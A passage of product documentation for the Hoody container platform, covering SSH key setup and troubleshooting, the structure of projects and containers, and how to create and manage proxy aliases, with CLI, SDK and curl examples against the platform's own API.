    IdentityFile ~/.ssh/hoody-container-2
```

Now connect with: `ssh dev` or `ssh prod`

**Same hostname, different keys** - SSH Proxy routes by public key.

### 4. Protect Private Keys

```bash
# Ensure correct permissions
chmod 600 ~/.ssh/hoody-container-*

# Never share private keys
# Never commit to version control
# Store securely (password manager, encrypted disk)
```

### 5. Use hoody-terminal for Quick Access

Don't configure SSH just for occasional commands. Use terminal URL instead:
```
https://{project}-{container}-terminal-1.{server}.containers.hoody.icu
```

Save SSH setup for when you need SFTP, VS Code Remote, or rsync operations.

---

## Useful Questions

### Can I SSH to containers without configuring SSH keys?

No. SSH requires public key authentication. However, you don't NEED SSH—use [hoody-terminal](/kit/terminals/) web interface instead (zero configuration). SSH is optional on Hoody.

### What happens if I use the same SSH key on multiple containers?

The SSH Proxy won't know which container to route to (routing conflict). **Always use unique keys per container.**

### Do I need to configure SSH if I only use hoody-terminal?

No. SSH is completely optional. If you only access containers via web browser, you never need SSH keys.

### Can I connect to containers via SSH from inside another container?

Yes! From Container A: `ssh -i /path/to/key root@ssh.$serverName.containers.hoody.icu` routes to Container B (based on public key).

### Can I SSH to remote servers (not Hoody containers) through the terminal?

Yes. Hoody Terminal acts as an HTTP-to-SSH bridge. Add `ssh_host` and `ssh_user` parameters to any terminal URL or execute request, and the container establishes the SSH connection for you. No SSH client needed on your device. See the SSH Bridge callout at the top of this page, or [Terminals: SSH to Remote Servers](/kit/terminals/#6-ssh-to-remote-servers-no-client-needed) for full details.

### Does SSH work with containers in "block" network mode?

Yes. SSH connections are **INBOUND** (to container), while block mode prevents **OUTBOUND** (from container). Note: the SSH bridge (terminal connecting *out* to remote servers) requires outbound access.

### What user do I connect as?

`root` by default. Containers run as root user.

### Can I disable SSH and only use hoody-terminal?

Yes. Set `ssh_public_key: null` to clear the key (omitting the field instead inherits the project default, if one is set). With no key assigned, the container has no SSH access, but the hoody-terminal URL still works. If your project defines a default SSH key, clear that default to guarantee no container inherits one.

### Does FileZilla support both SFTP and hoody-files?

FileZilla supports SFTP (via SSH protocol). For hoody-files (HTTP-based), use a web browser. FileZilla is SSH-only.

---

## Troubleshooting

### SSH Connection Refused

**Problem:** `ssh` returns "Connection refused"

**Solutions:**
1. Verify container is running: `GET /api/v1/containers/{id}` → check `"status": "running"`
2. Test SSH proxy connectivity: `telnet ssh.$serverName.containers.hoody.icu 22`
3. Check key permissions: `chmod 600 ~/.ssh/hoody-container-1`

### SSH Key Not Recognized

**Problem:** "Permission denied (publickey)"

**Solutions:**
1. Verify correct key: `cat ~/.ssh/hoody-container-1.pub` matches container's `ssh_public_key`
2. Check key format: Must start with `ssh-ed25519`, `ssh-rsa`, or `ecdsa-sha2-nistp*`
3. Use verbose logging: `ssh -v -i ~/.ssh/hoody-container-1 root@ssh.$serverName.containers.hoody.icu`

### Multiple Containers with Same Key

**Problem:** SSH sometimes connects to wrong container

**Cause:** Duplicate public keys across containers

**Solution:** Generate unique keys for each container, update via API

### FileZilla Can't Find SSH Key

**Problem:** FileZilla says "No supported authentication methods available"

**Solutions:**
1. **Import key first:** FileZilla → Edit → Settings → Connection → SFTP → Add key file
2. **Use Interactive logon:** Logon Type: Interactive (FileZilla uses imported key automatically)
3. **On macOS:** Use Cmd+Shift+G → Type `~/.ssh` when browsing for key

### SSH Key Rotation

**Changing SSH key for a container:**

**Step 1:** Generate new key locally:
```bash
ssh-keygen -t ed25519 -f ~/.ssh/hoody-container-new -N ""
```

**Step 2:** Stop container, update key, start:


  
    ```bash
    # Stop container
    hoody containers manage $CONTAINER_ID stop

    # Update SSH public key
    hoody containers update $CONTAINER_ID \
      --ssh-public-key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5... (new key)"

    # Start container
    hoody containers manage $CONTAINER_ID start
    ```
  
  
    ```typescript
    // Stop container
    await client.api.containers.manage(CONTAINER_ID, 'stop');

    // Update SSH public key
    await client.api.containers.update(CONTAINER_ID, {
      ssh_public_key: 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5... (new key)',
    });

    // Start container
    await client.api.containers.manage(CONTAINER_ID, 'start');
    ```
  
  
    ```bash
    # Stop container (single lifecycle route: POST /api/v1/containers/{id}/{operation})
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/stop" \
      -H "Authorization: Bearer $TOKEN"

    # Update SSH public key
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"ssh_public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5... (new key)"}'

    # Start container
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/start" \
      -H "Authorization: Bearer $TOKEN"

    # {operation} enum: start | stop | force-stop | restart | pause | resume
    ```
  


**Step 3:** Test with new key:
```bash
ssh -i ~/.ssh/hoody-container-new root@ssh.$serverName.containers.hoody.icu
```

---

## What's Next

**Complete your networking setup:**
- **[Firewall →](./firewall/)** - Control traffic at packet level
- **[Network Configuration →](./network/)** - Route through VPNs/proxies, change exit IP
- **[IPv4 Management →](./ipv4/)** - Dedicated IP addresses (coming soon)

**Alternative access methods:**
- **[Hoody Terminal →](/kit/terminals/)** - Web-based shell (no SSH needed)
- **[Hoody Files →](/kit/files/)** - HTTP file access (no SFTP needed)

**Understanding gained:**
- ✅ SSH is optional (hoody-terminal provides web alternative)
- ✅ Each container needs UNIQUE SSH public key
- ✅ Hoody SSH Proxy routes by public key
- ✅ SFTP works automatically (same key, same routing)
- ✅ FileZilla and all SFTP clients supported

---

> **SSH is traditional access to containers.**  
> **hoody-terminal is modern web access.**  
> **Each container = unique SSH key for proper routing.**

**SSH when you need local tools. hoody-terminal when you need zero setup.**

---

# Projects & Containers

**Page:** foundation/projects-containers

[Download Raw Markdown](./foundation/projects-containers.md)

---

# Projects & Containers

**You don't have one computer anymore. You have infinite isolated computers, organized into Projects.**

Hoody's architecture is simple: **Projects** organize, **Containers** execute, **Services** provide capabilities.

---

## The Hierarchy

```
Account
  └── Projects (organizational units)
        ├── Container 1 (HTTP computer)
        │     ├── terminal-1, terminal-2...
        │     ├── display-1, display-2...
        │     ├── files, exec-1, sqlite-1...
        │     └── browser-1, agent-1... (18 services)
        ├── Container 2 (HTTP computer)
        ├── Container 3 (HTTP computer)
        └── ...
```

---

## Projects: Folders for Computers

**Projects are organizational units** that group related Containers.

<div style="margin: 1.5rem 0; padding: 1rem 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Example Project**: `client-acme-corp`
- **Contains**: 15 containers (frontend, backend, database, staging, testing...)
- **Color**: Purple (#9b59b6) for visual identification
- **Limit**: 50 max containers

</div>

**Projects are NOT tied to servers** - Containers within a Project can run on ANY of your servers (US, EU, Asia).

### What You Get

- **Organization** - Group by client, purpose, or environment
- **Limits** - `max_containers` quota per project
- **Permissions** - Project-level access control applies to all containers
- **Prespawn** - Auto-create ready containers

**Create a Project:**



**Learn More**: [Projects API →](/api/projects/)

---

## Containers: HTTP Computers

**Each Container is a complete Linux computer.** Every capability is exposed as HTTP endpoints.

<div style="margin: 1.5rem 0; padding: 1rem 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**One Container = One Computer, addressable as a set of per-service URLs:**

- **Terminal** - Execute shell commands via HTTP
- **Displays** - Desktop sessions accessible through URL
- **Files** - Filesystem as HTTP endpoints
- **Exec** - Scripts that become HTTP APIs
- **SQLite** - Database queryable via HTTP
- **Browser** - Chrome automation as REST APIs
- **Workspaces** - AI/agent orchestration (hosts the `agent` service)
- **Tunnel** - Raw TCP/WebSocket bridging
- **Plus**: Code, cURL, Cron, Daemons, Pipe, Notifications, Notes, Watch, Run, Proxy Logs, plus SSH and dynamic `http`/`https` ports

See the [Hoody Kit overview](/kit/) for the authoritative service list.

</div>

**Create a Container:**



**Creation is asynchronous.** The create call returns immediately with `status: "creating"`. Services become reachable in under 30 seconds for most images; poll `GET /api/v1/containers/{id}` (SDK: `client.api.containers.get(id)`) until `status === "running"` before hitting the service URLs.

**Learn More**: [Containers API →](/api/containers/)

---

## The URL Pattern

Every Container service has its own URL following this structure:

<div style="
  background: #f8f8f8;
  border: 1px solid #ddd;
  border-radius: 4px;
  padding: 16px 20px;
  font-family: var(--sl-font-mono);
  font-size: 0.8125rem;
  line-height: 1.8;
  margin: 1.5rem 0;
  overflow-x: auto;
">

https://<span class="badge">67e89abc123def456789abcd</span>-<span class="badge">890abcdef12345678901cdef</span>-<span class="service-badge">terminal</span>-<span class="badge">1</span>.<span class="badge">node-us</span>.containers.hoody.icu

```
       └─────────┬─────────┘ └─────────┬─────────┘ └───┬───┘ └┬┘ └────┬────┘
            Project ID          Container ID        Service  Inst  ServerName
```
</div>

**What this means:**
- Change `terminal` → `display` to switch to desktop
- Change `1` → `2` for another instance
- `node-us` shows which server runs this Container

**Everything is self-documenting through URLs.**

---

## Quick Example


  
    

    Response returns `project_id: abc123...`
  
  
    **Frontend container:**
    

    **Backend container:**
    

    **Database container:**
    
  
  
    **3 isolated computers** in one project, each with:
    - Terminal URLs for command execution
    - Display URLs for desktop access
    - Files URLs for filesystem
    - Exec URLs for running scripts
    - SQLite URLs for databases
    - 13 more HTTP services each (18 total)
  


---

## What Containers Can Do

Containers provide extensive capabilities, all managed via HTTP. This is just an introduction—each capability has its own detailed documentation.

### Lifecycle & State
- **[Snapshots →](/foundation/containers/snapshots/)** - Time travel: capture complete state, restore instantly
- **[Copy & Sync →](/foundation/containers/copy-sync/)** - Duplicate to other projects/servers, sync with source
- **[Images →](/foundation/containers/images/)** - Choose OS: Ubuntu, Debian, Alpine, Fedora...

### Networking & Security
- **[Network Config →](/foundation/networking/network/)** - Route through proxies, custom DNS
- **[Firewall Rules →](/foundation/networking/firewall/)** - Granular ingress/egress control
- **[IPv4 Management →](/foundation/networking/ipv4/)** - Dedicated IP addresses

### Data & Sharing
- **[Storage Shares →](/foundation/storage/sharing-files/)** - Share directories between containers
- **[Storage Systems →](/foundation/storage/)** - Persistent data management

### Access & Control
- **[Proxy Aliases →](/foundation/proxy/aliases/)** - Custom domains: `my-app.hoody.icu`
- **[Permissions →](/foundation/proxy/permissions/)** - Authentication, IP restrictions, JWT

### Advanced
- **[Realms →](/foundation/hoody-api/realms/)** - API-level isolation for multi-tenant setups

---

## The Foundation

**You compose HTTP endpoints, not manage servers.**

- **Projects** organize your work (by client, purpose, environment)
- **Containers** are computers (each spawns with 18 built-in HTTP services plus dynamic HTTP/HTTPS port ranges)
- **Every service has a URL** (terminal, display, files, exec, sqlite...)
- **Everything is HTTP** (AI agents, humans, IoT all speak the same language)

This simple hierarchy enables everything else:
- [The HTTP Revolution →](/vision/http-revolution/)
- [Embeddability →](/vision/embeddability/)
- [Multiplayer by Default →](/vision/multiplayer/)
- [100x Foundation →](/vision/100x-foundation/)

---

**Next Steps:**
- 🏛️ [Explore Foundation →](/foundation/http-mindset/) - Understand the HTTP-first mindset
- 🛠️ [The Hoody Kit →](/kit/) - See what each service does
- 📚 [API Reference →](/api/authentication/) - Complete endpoint documentation

---

# Proxy Aliases

**Page:** foundation/proxy/aliases

[Download Raw Markdown](./foundation/proxy/aliases.md)

---

# Proxy Aliases

**Container URLs are functional but not memorable.** Proxy aliases transform cryptographic URLs into clean, production-ready domains.

After understanding [how the Hoody Proxy works](./), you need to understand **how to create memorable URLs** for production use.

---

## API Endpoints Summary

**Official Technical Reference:**

This Foundation page explains alias concepts and usage patterns. For complete endpoint documentation:

**Alias Management:**
- **[POST /api/v1/proxy/aliases](/api/proxy-aliases/)** - Create new alias
- **[GET /api/v1/proxy/aliases](/api/proxy-aliases/)** - List all aliases (with filters)
- **[GET /api/v1/proxy/aliases/\{id\}](/api/proxy-aliases/)** - Get alias details
- **[PATCH /api/v1/proxy/aliases/\{id\}](/api/proxy-aliases/)** - Update alias configuration
- **[PATCH /api/v1/proxy/aliases/\{id\}/state](/api/proxy-aliases/)** - Enable/disable alias
- **[DELETE /api/v1/proxy/aliases/\{id\}](/api/proxy-aliases/)** - Delete alias

**Related:**
- **[Proxy Permissions](/api/proxy-permissions/)** - Control who can access aliases
- **[Container Operations](/api/container-operations/)** - Container lifecycle

---

## The Problem and Solution

### Default Container URLs Work, But...

**When you spawn a container, you get automatic service URLs:**

<div style="
  background: #f8f8f8;
  border: 1px solid #ddd;
  border-radius: 4px;
  padding: 12px 16px;
  font-family: var(--sl-font-mono);
  font-size: 0.75rem;
  margin: 1.5rem 0;
  overflow-x: auto;
">

```
https://67e89abc123def456789abcd-890abcdef12345678901cdef-exec-1.node-us.containers.hoody.icu
```

</div>

**These URLs are:**
- ✅ Automatic (zero configuration)
- ✅ Unique (cryptographic IDs)
- ✅ Secure (effectively unguessable)
- ✅ Functional (everything just works)
- ❌ **Not memorable** (impossible to type or remember)
- ❌ **Not safe to leak** (if accidentally shared without permissions configured, anyone can access)
- ❌ **Not brandable** (can't put this on business cards)

### Proxy Aliases Create Clean URLs

**Create an alias to get a memorable URL:**

```bash
POST /api/v1/proxy/aliases
{
  "container_id": "890abcdef12345678901cdef",
  "alias": "my-api",
  "program": "http",
  "index": 1
}
```

**Result:**

<div style="
  background: #f8f8f8;
  border: 1px solid #ddd;
  border-radius: 4px;
  padding: 12px 16px;
  font-family: var(--sl-font-mono);
  font-size: 0.875rem;
  margin: 1.5rem 0;
">

```
https://my-api.node-us.containers.hoody.icu
```

</div>

**Same container. Same service. Memorable URL.**


**Production Usage:** Aliases are essential when running web servers or APIs in containers. They provide clean, memorable URLs that don't expose your project/container IDs—critical for public-facing services and professional deployments.


---

## Why Aliases Matter for Production

**When you run a web server or API in a container, you have two choices:**

### Option 1: Use Cryptographic URL (Development)

```
https://67e89abc123def456789abcd-890abcdef12345678901cdef-http-8080.node-us.containers.hoody.icu
```

**Problems for production:**
- ❌ Exposes project and container IDs (48 characters of sensitive data)
- ❌ Impossible to remember or type
- ❌ Unprofessional for customers/users
- ❌ Can't put on business cards, marketing materials, documentation

### Option 2: Create Alias (Production-Ready)

```
https://api.node-us.containers.hoody.icu
```

**Benefits:**
- ✅ Hides internal IDs (no sensitive data exposed)
- ✅ Memorable and professional
- ✅ Ideal for public APIs and web services
- ✅ Ready for custom domain mapping

**Then connect your domain:**
```
api.mycompany.com  CNAME  api.node-us.containers.hoody.icu
```

**Final result:** `https://api.mycompany.com` routes to your container with zero ID exposure.

### The `http` Program (Most Common)

**When you run a web server or API in a container, use `program: "http"`:**

```bash
POST /api/v1/proxy/aliases
{
  "container_id": "890abcdef12345678901cdef",
  "alias": "my-api",
  "program": "http",    // Routes to container's HTTP service
  "index": 1            // First HTTP service instance
}
```

**This maps to your container's web server** (running on any port internally—8080, 3000, 5000, etc.). The proxy automatically routes `https://my-api.node-us.containers.hoody.icu` to your HTTP service.

**Typical production workflow:**
1. Deploy your Node.js/Python/Go API in container
2. Create alias with `program: "http"`
3. Point your domain to the alias
4. Configure authentication via [proxy permissions](./permissions/)
5. Production-ready

---

## How Aliases Work

### Alias Structure

**Aliases follow this pattern:**

```
https://{alias}.{serverName}.containers.hoody.icu
       └──┬──┘ └────┬────┘
       Your    Your Server
       Choice  (where container runs)
```

**Important:** Aliases are **server-specific** because the proxy runs on each server independently.

**Example:**
- Container on `node-us` → Alias becomes `my-app.node-us.containers.hoody.icu`
- Container on `node-eu` → Alias becomes `my-app.node-eu.containers.hoody.icu`


The `{serverName}` component ensures aliases don't conflict across your servers. You can use the same alias name on different servers because they'll have different full URLs.


### What Aliases Map To

**An alias points to a specific PROGRAM in a container:**

```bash
POST /api/v1/proxy/aliases
{
  "container_id": "890abcdef12345678901cdef",
  "alias": "my-api",
  "program": "http",        // Which program
  "index": 1,               // Which instance (if multiple)
  "target_path": "/api/v1", // Optional: base path
  "allow_path_override": true
}
```

**Common programs:**
- `http` - Web servers (HTTP service in container)
- `exec` - hoody-exec scripts as APIs
- `terminal` - Web terminal interface
- `display` - Desktop environment
- `files` - File browser interface
- `ssh` - SSH access
- Plus: browser, sqlite, agent, code, curl, daemon, notifications

**Each container can have multiple aliases** pointing to different programs or the same program with different configurations.

---

## Creating Aliases

### Basic Alias Creation


  
    ```bash
    # Create a basic proxy alias for your container
    hoody proxy create --container-id $CONTAINER_ID --alias my-app --program http --index 1
    ```
  
  
    ```typescript
    const alias = await client.api.proxyAliases.create({
      container_id: CONTAINER_ID,
      alias: 'my-app',
      program: 'http',
      index: 1
    });
    console.log(alias.data.url);
    // https://my-app.node-us.containers.hoody.icu
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "container_id": "'$CONTAINER_ID'",
        "alias": "my-app",
        "program": "http",
        "index": 1
      }'
    ```
  




**Now accessible at:**
```
https://my-app.node-us.containers.hoody.icu
```

### Auto-Generated Aliases

**Omit the `alias` parameter to get an auto-generated name:**



**Returns:** A 48-character hexadecimal alias (auto-generated, unique), e.g. `a3f9b2c1d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3`

### Alias Naming Rules

**Valid alias names:**
- 3-61 characters
- Lowercase letters (a-z)
- Numbers (0-9)
- Hyphens (-)
- Must start with letter or number
- Must end with letter or number
- Pattern: `^[a-z0-9]([a-z0-9-]*[a-z0-9])?$`

**Examples:**
- ✅ `my-api`
- ✅ `staging-frontend`
- ✅ `app-v2`
- ✅ `prod`
- ❌ `-myapp` (starts with hyphen)
- ❌ `my_api` (underscore not allowed)
- ❌ `MY-APP` (uppercase not allowed)

---

## Path Routing

### Target Path Configuration

**Route requests to specific base paths in your container:**



**Routing behavior:**


  
    ```
    Incoming Request:
    https://my-api.node-us.containers.hoody.icu/users
    
    Routed To Container:
    /api/v1/users
    
    (target_path prepended)
    ```
  
  
    ```
    Incoming Request:
    https://my-api.node-us.containers.hoody.icu/users
    
    Routed To Container:
    /users
    
    (pass-through, no modification)
    ```
  


### Path Override Control

**The `allow_path_override` flag controls whether requests can access paths outside `target_path`:**


  
    ```
    # All paths allowed
    https://my-api.hoody.icu/api/v1/users  → /api/v1/users ✅
    https://my-api.hoody.icu/admin         → /admin ✅
    https://my-api.hoody.icu/anything      → /anything ✅
    ```
    
    **Use when:** You want flexible routing
  
  
    ```
    # Only target_path allowed
    https://my-api.hoody.icu/api/v1/users  → /api/v1/users ✅
    https://my-api.hoody.icu/admin         → Blocked ❌
    https://my-api.hoody.icu/anything      → Blocked ❌
    ```
    
    **Use when:** You want to restrict access to a specific API path
  


**Example use case:** Expose your API (`/api/v1/*`) publicly but hide admin routes (`/admin/*`):

```bash
POST /api/v1/proxy/aliases
{
  "alias": "public-api",
  "program": "http",
  "target_path": "/api/v1",
  "allow_path_override": false
}
```

---

## Multi-Service Aliases

**One container can have multiple aliases for different services:**


  
    
  
  
    
  
  
    
  


**Result:**
```
https://my-api.node-us.containers.hoody.icu       → HTTP service
https://my-scripts.node-us.containers.hoody.icu   → Exec scripts
https://my-terminal.node-us.containers.hoody.icu  → Terminal
```

**Same container, different entry points.**

---

## Alias Lifecycle

### Listing Aliases


  
    ```bash
    # List all aliases
    hoody proxy list

    # Filter by project
    hoody proxy list --project-id $PROJECT_ID

    # Filter by container
    hoody proxy list --container-id $CONTAINER_ID

    # Find expired aliases
    hoody proxy list --expired true
    ```
  
  
    ```typescript
    // List all aliases
    const all = await client.api.proxyAliases.list();

    // Filter by project
    const byProject = await client.api.proxyAliases.list({ project_id: PROJECT_ID });

    // Filter by container
    const byContainer = await client.api.proxyAliases.list({ container_id: CONTAINER_ID });

    // Find expired aliases
    const expired = await client.api.proxyAliases.list({ expired: 'true' });
    ```
  
  
    ```bash
    # List all aliases
    curl "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $TOKEN"

    # Filter by project
    curl "https://api.hoody.icu/api/v1/proxy/aliases?project_id=$PROJECT_ID" \
      -H "Authorization: Bearer $TOKEN"

    # Filter by container
    curl "https://api.hoody.icu/api/v1/proxy/aliases?container_id=$CONTAINER_ID" \
      -H "Authorization: Bearer $TOKEN"
    ```
  



  
    
  
  
    
  
  
    
  
  
    
  


### Updating Aliases


  
    ```bash
    # Change alias target service
    hoody proxy update $ALIAS_ID --program exec --index 2 --target-path /v2

    # Update expiration
    hoody proxy update $ALIAS_ID --expires-at "2026-12-31T23:59:59Z"
    ```
  
  
    ```typescript
    // Change alias target service
    await client.api.proxyAliases.update(ALIAS_ID, {
      program: 'exec',
      index: 2,
      target_path: '/v2'
    });

    // Update expiration
    await client.api.proxyAliases.update(ALIAS_ID, {
      expires_at: '2026-12-31T23:59:59Z'
    });
    ```
  
  
    ```bash
    # Change alias target service
    curl -X PATCH "https://api.hoody.icu/api/v1/proxy/aliases/$ALIAS_ID" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"program": "exec", "index": 2, "target_path": "/v2"}'

    # Update expiration
    curl -X PATCH "https://api.hoody.icu/api/v1/proxy/aliases/$ALIAS_ID" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"expires_at": "2026-12-31T23:59:59Z"}'
    ```
  



  
    
  
  
    
  


### Enabling/Disabling Aliases

**Temporarily disable without deleting:**


  
    ```bash
    # Disable alias (stops routing, keeps configuration)
    hoody proxy set-state $ALIAS_ID --enabled false

    # Re-enable alias
    hoody proxy set-state $ALIAS_ID --enabled true
    ```
  
  
    ```typescript
    // Disable alias
    await client.api.proxyAliases.setState(ALIAS_ID, { enabled: false });

    // Re-enable alias
    await client.api.proxyAliases.setState(ALIAS_ID, { enabled: true });
    ```
  
  
    ```bash
    # Disable alias
    curl -X PATCH "https://api.hoody.icu/api/v1/proxy/aliases/$ALIAS_ID/state" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"enabled": false}'

    # Re-enable alias
    curl -X PATCH "https://api.hoody.icu/api/v1/proxy/aliases/$ALIAS_ID/state" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"enabled": true}'
    ```
  



  
    
  
  
    
  


**Use case:** Temporarily take an API offline for maintenance without losing the alias configuration.

### Deleting Aliases


  
    ```bash
    # Permanently remove alias
    hoody proxy delete $ALIAS_ID
    ```
  
  
    ```typescript
    await client.api.proxyAliases.delete(ALIAS_ID);
    ```
  
  
    ```bash
    curl -X DELETE "https://api.hoody.icu/api/v1/proxy/aliases/$ALIAS_ID" \
      -H "Authorization: Bearer $TOKEN"
    ```
  




**The alias name becomes available for reuse immediately.**

---

## Expiration

**Aliases can automatically expire:**



**After expiration:**
- Alias stops routing traffic automatically
- Returns 404 for all requests
- Configuration preserved (can re-enable by removing expiration)

**Expiration formats:**

On **create** (`POST`), `expires_at` must be an **ISO 8601 string** (or `null` for no expiration). On **update** (`PATCH`), the route schema additionally accepts a numeric **Unix timestamp** (seconds or milliseconds) alongside the ISO string and `null`. Prefer ISO 8601 everywhere for consistency.


  
    ```json
    { "expires_at": "2026-07-12T00:00:00.000Z" }
    { "expires_at": "2026-12-31T23:59:59.000Z" }
    ```
  
  
    ```json
    { "expires_at": 1783987200 }
    ```
  
  
    ```json
    { "expires_at": null }
    ```
  


**Use cases:**
- **Demo environments** - Auto-expire after customer trial
- **Temporary access** - Event-specific URLs
- **Staged rollouts** - Beta URLs that expire when moving to prod

---

## Common Patterns

### Pattern 1: Production API Alias

**Clean URL for your API service:**



**Access:**
```
https://prod-api.node-us.containers.hoody.icu/users
→ Routes to container's /api/v1/users
```

### Pattern 2: Multiple Environment Aliases

**Different aliases for same container's different programs:**


  
    
  
  
    
  
  
    
  


**Result:**
```
https://app.node-us.containers.hoody.icu          → Web service
https://app-terminal.node-us.containers.hoody.icu → Terminal
https://app-scripts.node-us.containers.hoody.icu  → Exec scripts
```

### Pattern 3: Version-Based Aliases

**Manage API versions with aliases:**


  
    
  
  
    
  
  
    
  


**Clients can choose:**
```
https://api-v1.node-us.containers.hoody.icu  → Old version
https://api-v2.node-us.containers.hoody.icu  → New version
https://api-beta.node-us.containers.hoody.icu → Beta (same as v2)
```

**When ready:** Delete `api-v1`, rename `api-v2` → `api-v1`, or update client references.

### Pattern 4: Staging → Production Promotion

**Typical deployment workflow:**

```bash
# 1. Develop in container with crypto URL
https://67e89abc...890abc-exec-1.node-us.containers.hoody.icu

# 2. Create staging alias when ready for testing
POST /api/v1/proxy/aliases
{ "alias": "staging-app", "container_id": "890abcdef...", "program": "http" }
# → https://staging-app.node-us.containers.hoody.icu

# 3. Test with team, clients, QA

# 4. Snapshot tested container
POST /api/v1/containers/890abcdef.../snapshots
{ "alias": "pre-prod-2025-11-09" }

# 5. Create production alias
POST /api/v1/proxy/aliases
{ "alias": "prod-app", "container_id": "890abcdef...", "program": "http" }
# → https://prod-app.node-us.containers.hoody.icu

# 6. If issues, instant rollback via snapshot
PATCH /api/v1/containers/890abcdef.../snapshots/pre-prod-2025-11-09
```

---

## Alias Management

### Filtering and Discovery


  
    
  
  
    
  
  
    
  


### Bulk Operations

**Update multiple aliases programmatically:**

```javascript
// Example: Update all staging aliases to point to new containers
const stagingAliases = await fetch(
  'https://api.hoody.icu/api/v1/proxy/aliases?project_id=staging-project'
).then(r => r.json());

for (const alias of stagingAliases.data.aliases) {
  await fetch(`https://api.hoody.icu/api/v1/proxy/aliases/${alias.id}`, {
    method: 'PATCH',
    headers: {
      'Authorization': `Bearer ${process.env.HOODY_TOKEN}`,
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      container_id: newContainerId,
      target_path: '/v2'
    })
  });
}
```

---

## Advanced Routing

### hoody-exec Subdomain Routing

**The `exec` program has special routing capabilities:**

When you create an alias for `program: "exec"`, you can use **subdomain-based routing** to access specific scripts:



**Your scripts in container:**
```
/api/users.ts
/api/posts.ts
/webhooks/stripe.ts
```

**Access via subdomains:**

```
https://api.my-scripts.node-us.containers.hoody.icu/users
→ Executes /api/users.ts, route: /users

https://webhooks.my-scripts.node-us.containers.hoody.icu/stripe
→ Executes /webhooks/stripe.ts, route: /stripe
```

**The subdomain maps to the directory, the path maps to the route.**

**See:** [Hoody Exec →](/kit/exec/) for complete script routing documentation.

### Multiple Instances

**Target different instances of the same program:**


  
    
  
  
    
  


**Result:**
```
https://frontend.node-us.containers.hoody.icu → HTTP service instance 1
https://backend.node-us.containers.hoody.icu  → HTTP service instance 2
```

---

## Alias + Custom Domain

**Aliases serve as CNAME targets for custom domains:**

**Step 1: Create alias**



**Step 2: Point your domain to the alias**

```
# DNS configuration at your domain provider
api.mycompany.com  CNAME  myapp-prod.node-us.containers.hoody.icu
```

**Step 3: Automatic SSL**

Hoody automatically provisions a Let's Encrypt certificate for `api.mycompany.com`. Within minutes, your custom domain is live with HTTPS.

**Result:**
```
https://api.mycompany.com
  → CNAME →
https://myapp-prod.node-us.containers.hoody.icu
  → Routes to →
Container's HTTP service
```

**See:** [Connect a Domain →](./connect-domain/) for complete custom domain setup.

---

## Security Considerations

### Alias Uniqueness

**Aliases must be globally unique per server:**

If someone else has claimed `my-app` on `node-us`, you cannot use it. The API will return `422 Unprocessable Entity` during creation.

**Solution:** Choose descriptive, unique aliases:
- Add your company name: `acme-api`
- Add identifier: `my-app-prod`
- Use generated names when uniqueness is uncertain

### Cryptographic URLs vs Aliases

<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; margin: 1.5rem 0;">

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Cryptographic URLs** (Default)

```
https://67e89abc...890abc-exec-1.
  node-us.containers.hoody.icu
```

**Security:**
- ✅ Unguessable (2^96 combinations)
- ✅ Share URL = grant access
- ✅ Don't share = private
- ✅ Perfect for development/collaboration

**Usability:**
- ❌ Impossible to remember
- ❌ Can't type manually
- ❌ Not brandable

</div>

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Aliases** (Production)

```
https://my-api.node-us.
  containers.hoody.icu
```

**Security:**
- ⚠️ Guessable (if known pattern)
- ⚠️ Discoverable (enumeration possible)
- ✅ IP whitelist recommended
- ✅ Add authentication via permissions

**Usability:**
- ✅ Memorable
- ✅ Typeable
- ✅ Brandable
- ✅ Professional

</div>

</div>

**Best practice:**
- **Development:** Use cryptographic URLs (secure by obscurity)
- **Production:** Use aliases + [permissions](./permissions/) (secure by authentication)

### Permission Integration

**Aliases work with proxy permissions:**



**Then configure permissions** (separate endpoint):

```bash
PUT /api/v1/containers/{id}/proxy/permissions
{
  "groups": {
    "authenticated": {
      "type": "jwt",
      "secret": "your-jwt-secret",
      "sources": ["header:Authorization"]
    }
  },
  "permissions": {
    "authenticated": { "http": true }
  },
  "default": "deny"
}
```

**Now both URLs require authentication:**
```
https://67e89abc...890abc-exec-1.node-us.containers.hoody.icu  → Requires JWT
https://public-api.node-us.containers.hoody.icu                → Requires JWT
```

**The alias and cryptographic URL apply the same permissions.**

---

## Real-World Example

**Complete workflow from development to production:**

**1. Develop in container (use crypto URL)**
```
https://67e89abc123def456789abcd-890abcdef12345678901cdef-exec-1.node-us.containers.hoody.icu
```

**2. Create staging alias for team testing**



Result: `https://staging-myapp.node-us.containers.hoody.icu`

**3. Configure staging with IP whitelist (office only)**

```bash
curl -X PUT "https://api.hoody.icu/api/v1/containers/890abcdef.../proxy/permissions" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "groups": {
      "office": { "type": "ip", "range": "203.0.113.0/24" }
    },
    "permissions": {
      "office": { "http": true }
    },
    "default": "deny"
  }'
```

**4. Team tests on staging-myapp.node-us.containers.hoody.icu**

**5. Snapshot when ready**



**6. Create production alias**



